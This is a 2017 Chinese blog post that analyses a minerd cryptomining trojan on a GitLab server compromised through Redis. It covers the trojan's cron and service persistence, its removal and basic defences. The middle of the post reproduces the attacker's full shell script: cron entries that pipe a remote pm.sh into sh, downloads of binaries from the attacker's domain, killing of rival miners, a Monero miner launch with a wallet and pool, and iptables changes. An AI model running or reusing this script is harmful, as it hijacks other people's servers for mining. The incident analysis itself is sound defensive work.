挖矿程序minerd入侵分析和解决办法

现在比特币的价格涨得很高,所以现在有黑客专门制造挖矿木马来诱导网友,从而达到控制电脑上的显卡来挖掘比特币。为什么木马要控制电脑中的显卡呢?因为显卡挖掘虚拟货币比特币的效率远比 CPU 要高。如果你是一位 3D 游戏玩家,正好中了比特币挖矿木马,就会发现在玩游戏时会非常卡顿。

那么,跟我们今天提到的挖矿minerd进程又有何关系呢?

发现问题

  最近一台安装了Gitlab的服务器发生了高负载告警,Cpu使用情况如下:

  

  让后登录到服务器,利用top查看CPU使用情况,这个叫minerd的程序消耗cpu较大,如下图所示:

  

  这个程序并不是我们的正常服务程序,心里一想肯定被黑了,然后就搜索了一下这个程序,果真就是个挖矿木马程序,既然已经知道他是木马程序,那就看看它是怎么工作的,然后怎么修复一下后门。

  这个程序放在/opt/minerd下,在确定跟项目不相关的情况下判断是个木马程序,果断kill掉进程,然后删除/opt下minerd文件。

  

  本想这样可以解决,谁想不到15秒时间,又自动启动起来,而且文件又自动创建,这个让我想起了crontab的定时器,果然运一查确实crond存在一条:,果断删除处理。再杀进程,再删文件;然并卵,依旧起来;

  

  既然没用我继续google,在stackexchange找到如下解决方案:

  

  各种文件删除都不起作用,原来该木马程序注册了一个“lady”的服务,而且还是开机启动,起一个这个可爱的名字,谁TMD知道这是一个木马, 这个伪装程序也可能是ntp,可以参考:http://53cto.blog.51cto.com/9899631/1826989

  这下完美解决了,但是得分析一下原因,shell启动脚本:

  export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbinecho "*/5 * * * * curl -fsSL http://www.haveabitchin.com/pm.sh?0105008 | sh" > /var/spool/cron/rootmkdir -p /var/spool/cron/crontabsecho "*/5 * * * * curl -fsSL http://www.haveabitchin.com/pm.sh?0105008 | sh" > /var/spool/cron/crontabs/rootif [! -f "/tmp/ddg.217" ]; then curl -fsSL http://www.haveabitchin.com/ddg.$(uname -m) -o /tmp/ddg.217fichmod +x /tmp/ddg.217 && /tmp/ddg.217killall /tmp/ddg.216if [-d "/opt/yam" ]; then rm -rf /opt/yamfips auxf|grep -v grep|grep /tmp/duckduckgo|awk '{print $2}'|xargs kill -9ps auxf|grep -v grep|grep "/usr/bin/cron"|awk '{print $2}'|xargs kill -9ps auxf|grep -v grep|grep "/opt/cron"|awk '{print $2}'|xargs kill -9ps auxf|grep -v grep|grep "/usr/sbin/ntp"|awk '{print $2}'|xargs kill -9ps auxf|grep -v grep|grep "/opt/minerd"|awk '{print $2}'|xargs kill -9ps auxf|grep -v grep|grep "mine.moneropool.com"|awk '{print $2}'|xargs kill -9ps auxf|grep -v grep|grep "xmr.crypto-pool.fr:8080"|awk '{print $2}'|xargs kill -9#/opt/minerd -h#if [$? != "0" ]; then #ps auxf|grep -v grep|grep "/opt/minerd" #if [$? != "0" ]; then #if [! -f /opt/yam ]; then #curl -fsSL http://www.haveabitchin.com/yam -o /opt/yam #fi #chmod +x /opt/yam && /opt/yam -c x -M stratum+tcp://4Ab9s1RRpueZN2XxTM3vDWEHcmsMoEMW3YYsbGUwQSrNDfgMKVV8GAofToNfyiBwocDYzwY5pjpsMB7MY8v4tkDU71oWpDC:x@xmr.crypto-pool.fr:443/xmr #fi#fiDoMiner(){ if [! -f "/tmp/AnXqV" ]; then curl -fsSL http://www.haveabitchin.com/minerd -o /tmp/AnXqV fi chmod +x /tmp/AnXqV /tmp/AnXqV -B -a cryptonight -o stratum+tcp://xmr.crypto-pool.fr:443 -u 4Ab9s1RRpueZN2XxTM3vDWEHcmsMoEMW3YYsbGUwQSrNDfgMKVV8GAofToNfyiBwocDYzwY5pjpsMB7MY8v4tkDU71oWpDC -p x}ps auxf|grep -v grep|grep "4Ab9s1RRpueZN2XxTM3vDWEHcmsMoEMW3YYsbGUwQSrNDfgMKVV8GAofToNfyiBwocDYzwY5pjpsMB7MY8v4tkDU71oWpDC" || DoMinerDoRedis6379(){ iptables -F REDIS6379 iptables -A REDIS6379 -p tcp -s 127.0.0.1 --dport 6379 -j ACCEPT #iptables -A REDIS6379 -s 0.0.0.0/8 -p tcp --dport 6379 -j ACCEPT #iptables -A REDIS6379 -s 10.0.0.0/8 -p tcp --dport 6379 -j ACCEPT #iptables -A REDIS6379 -s 169.254.0.0/16 -p tcp --dport 6379 -j ACCEPT #iptables -A REDIS6379 -s 172.16.0.0/12 -p tcp --dport 6379 -j ACCEPT #iptables -A REDIS6379 -s 192.168.0.0/16 -p tcp --dport 6379 -j ACCEPT #iptables -A REDIS6379 -s 224.0.0.0/4 -p tcp --dport 6379 -j ACCEPT iptables -A REDIS6379 -p TCP --dport 6379 -j REJECT iptables -I INPUT -j REDIS6379}iptables -D OUTPUT -j REDIS6379iptables -F REDIS6379iptables -X REDIS6379iptables -D INPUT -j REDIS63792iptables -F REDIS63792iptables -X REDIS63792#iptables -N REDIS6379 && DoRedis6379

  解决minerd并不是最终的目的,主要是要查找问题根源,我的服务器问题出在了redis服务了,黑客利用了redis的一个漏洞获得了服务器的访问权限。

  商业模式

  被植入比特币“挖矿木马”的电脑,系统性能会受到较大影响,电脑操作会明显卡慢、散热风扇狂转;另一个危害在于,“挖矿木马”会大量耗电,并造成显卡、CPU等硬件急剧损耗。比特币具有匿名属性,其交易过程是不可逆的,被盗后根本无法查询是被谁盗取,流向哪里,因此也成为黑客的重点窃取对象。

  攻击&防御

  植入方式:安全防护策略薄弱,利用Jenkins、Redis等中间件的漏洞发起攻击,获得root权限。

  最好的防御可能还是做好防护策略、严密监控服务器资源消耗(CPU/load)。

  这种木马很容易变种,很多情况杀毒软件未必能够识别。

posted @ 2017-02-15 16:08  i冰冰  阅读(956)  评论(0编辑  收藏  举报
dac&pi